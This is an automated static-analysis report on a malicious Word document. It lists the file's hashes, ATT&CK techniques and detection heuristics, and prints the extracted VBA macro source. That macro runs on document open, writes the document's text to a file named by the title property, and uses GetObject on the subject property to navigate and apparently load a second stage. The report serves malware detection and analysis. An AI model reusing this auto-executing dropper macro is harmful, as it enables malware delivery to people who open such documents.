Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 103b8c0a1aa0ff89…

MALICIOUS

Office (OOXML)

66.0 KB Created: 2021-05-24 09:31:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-29
MD5: 340b0d3a70f14abd74ee4fbfd3488724 SHA-1: 64f8fc7621f95d8cc0de3351bcabf4e122bcd80d SHA-256: 103b8c0a1aa0ff8999adc86bca78de6cf95da302049742df0489a68af6b2b49d
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a VBA macro with a Document_Open subroutine that executes the 'main' function. This function calls 'arrButtonGlobal', which opens a file for output and prints the document's range text to it. Crucially, it then attempts to use GetObject with a string derived from the document's subject property to navigate to a URL, likely to download and execute a second-stage payload. The use of VBA and the Document_Open macro strongly suggests a macro-based attack.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 978 bytes
SHA-256: c7fbc590a65ea198c8295b7dbedd5c960681cdedba54914d631d8e993182acc2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
main
End Sub

Attribute VB_Name = "copyWindowLocal"
Sub main()
arrButtonGlobal
End Sub

Attribute VB_Name = "loadDatabase"
Function pointerButton(collectionValue)
pointerButton = collectionValue
End Function
Function tmpProcedure()
End Function

Attribute VB_Name = "procSize"
Function title()
title = ActiveDocument.BuiltInDocumentProperties("title")
End Function
Function dataLoadTable()
dataLoadTable = ActiveDocument.BuiltInDocumentProperties("subject") & ""
End Function
Sub arrButtonGlobal()
Open title For Output As #1
Print #1, ActiveDocument.Range.Text
Close #1
On Error Resume Next
GetObject(dataLoadTable & "").Navigate title
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: 8617af2d3cc700835687be8ba7aa89f38316d6afb86b123071a13482ae9b87be

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